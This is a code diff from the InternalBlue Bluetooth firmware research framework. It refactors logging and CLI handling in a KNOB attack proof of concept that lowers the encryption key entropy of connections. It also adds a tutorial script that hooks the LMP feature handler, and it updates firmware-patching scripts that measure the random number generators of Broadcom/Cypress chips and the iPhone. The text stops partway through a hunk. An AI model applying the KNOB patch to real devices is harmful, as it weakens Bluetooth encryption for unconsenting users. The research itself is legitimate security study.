@@ -35,32 +41,24 @@ internalblue.patchRom(Address(0x7402A), patch)
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
internalblue.logger.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def work(self, args):
|
||||
"""Debugs which key length is currently active within a connection handle."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
@@ -75,20 +73,19 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
"""
|
||||
WiSec 2021 tutorial example by Jiska Classen.
|
||||
Hooks into LMP handler for Remote Feature Results and overwrites features.
|
||||
"""
|
||||
|
||||
# imports for ADB and HCi core
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
# imports for calling InternalBlue CLI
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from argparse import Namespace
|
||||
import sys
|
||||
|
||||
# imports for our own script/hooks
|
||||
from time import sleep
|
||||
from pwnlib.asm import asm
|
||||
from internalblue.utils.packing import u8, u32, p32
|
||||
import binascii
|
||||
|
||||
|
||||
internalblue = ADBCore()
|
||||
try:
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device
|
||||
except IndexError:
|
||||
internalblue = HCICore()
|
||||
try:
|
||||
internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface
|
||||
except IndexError:
|
||||
internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.")
|
||||
exit(-1)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = internalblue.logger.info("Connected to first target, installing patches...")
|
||||
|
||||
|
||||
LMP_PATCH_FEATURES_RES = 0x218000 # free RAM to write our own patch
|
||||
LMP_FUNCT_FEATURES_RES = 0x0632EA # lm_HandleLmpFeaturesResPdu implementation
|
||||
LMP_CMD_PTR = 0x20AB74 # lm_curCmd
|
||||
|
||||
LMP_PATCH_ASM = """
|
||||
// restore first 4 bytes of lm_HandleLmpFeaturesResPdu
|
||||
push {r4, lr}
|
||||
mov r4, r0
|
||||
|
||||
// use r0-r1 locally
|
||||
push {r0-r1, lr}
|
||||
|
||||
// overwrite features
|
||||
ldr r0, =0x%x // lm_curCmd
|
||||
add r0, 0x4 // lm_curCmd + 4
|
||||
ldr r0, [r0] // &(lm_curCmd + 4) - this is the actual pointer to our payload
|
||||
add r0, 0xd // LMP payload starts at 0xc with 1 byte opcode, 0xd is offset for payload
|
||||
ldr r1, =0xcafebabe // overwrite features (hardcoded as of now)
|
||||
str r1, [r0]
|
||||
add r0, 0x4 // overwrite another 4 bytes (all features)
|
||||
ldr r1, =0x0badf00d
|
||||
str r1, [r0]
|
||||
|
||||
// restore original registers, branch to original implementation
|
||||
pop {r0-r1, lr}
|
||||
|
||||
// go back to lm_HandleLmpFeaturesResPdu+4
|
||||
b 0x%x
|
||||
|
||||
""" % (LMP_CMD_PTR, LMP_FUNCT_FEATURES_RES + 4)
|
||||
|
||||
# assemble our snippet and install it in RAM
|
||||
code = asm(LMP_PATCH_ASM, vma=LMP_PATCH_FEATURES_RES) # branches are relative, we need to put the patches address here
|
||||
if not internalblue.writeMem(address=LMP_PATCH_FEATURES_RES, data=code, progress_log=None):
|
||||
internalblue.logger.critical("Could not write pre-hook for features result to RAM!")
|
||||
exit(-1)
|
||||
|
||||
# patch the original function in ROM to branch to RAM
|
||||
code = asm('b 0x%x' % LMP_PATCH_FEATURES_RES, vma=LMP_FUNCT_FEATURES_RES)
|
||||
if not internalblue.patchRom(LMP_FUNCT_FEATURES_RES, code):
|
||||
internalblue.logger.critical("Could not install Patchram entry to verwrite existing function!")
|
||||
exit(-1)
|
||||
|
||||
# enter CLI so that we can still interact and see the connection request
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
@@ -2,12 +2,18 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import numpy as np
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20735 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
@@ -119,45 +125,37 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
internalblue.logger.info("Installing assembly patches...")
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20735 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1425BC, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -166,6 +164,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -173,22 +173,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -199,7 +196,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -208,7 +205,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -219,20 +216,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20735-randomdata-%irounds-0x500-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,15 +3,16 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20819 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
@@ -35,7 +36,7 @@ Changes:
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x219000
|
||||
# 0x219000 crashed with 0x1000 in round 27
|
||||
# 0x216000 looks emptier but crashed on first attempt
|
||||
@@ -130,54 +131,47 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
internalblue.logger.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
|
||||
# internalblue.logger.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
|
||||
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Disable functions that crash us when using the target memory region at 0x219000
|
||||
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0x79AC6, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -186,6 +180,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -193,22 +189,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -219,7 +212,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -228,7 +221,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -239,21 +232,18 @@ while rounds > i:
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20819-randomdata-0x500-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,17 +3,17 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from datetime import datetime
|
||||
import binascii
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20819 Evaluation Board.
|
||||
@@ -38,7 +38,7 @@ Changes:
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x219000
|
||||
# 0x219000 crashed with 0x1000 in round 27
|
||||
# 0x216000 looks emptier but crashed on first attempt
|
||||
@@ -126,54 +126,47 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
internalblue.logger.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
|
||||
# internalblue.logger.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
|
||||
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # 0x219001
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG + 1)): # 0x219001
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Disable functions that crash us when using the target memory region at 0x219000
|
||||
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0x79AC6, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -182,6 +175,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -189,22 +184,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -215,7 +207,7 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
@@ -224,7 +216,7 @@ while rounds > i:
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
@@ -238,24 +230,20 @@ while rounds > i:
|
||||
# print the data as a demo
|
||||
random = np.delete(random, np.arange(4, random.__len__(), 5))
|
||||
randstring = binascii.hexlify(bytearray(random))
|
||||
log.info([randstring[i:i+8] for i in range(0, len(randstring), 8)])
|
||||
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info([randstring[i:i + 8] for i in range(0, len(randstring), 8)])
|
||||
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20819-randomdata_pseudo-0x500-%irounds-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+25
-42
@@ -3,16 +3,15 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from argparse import Namespace
|
||||
from datetime import datetime
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.ioscore import iOSCore
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 6.
|
||||
@@ -126,39 +125,29 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -167,6 +156,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -174,23 +165,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
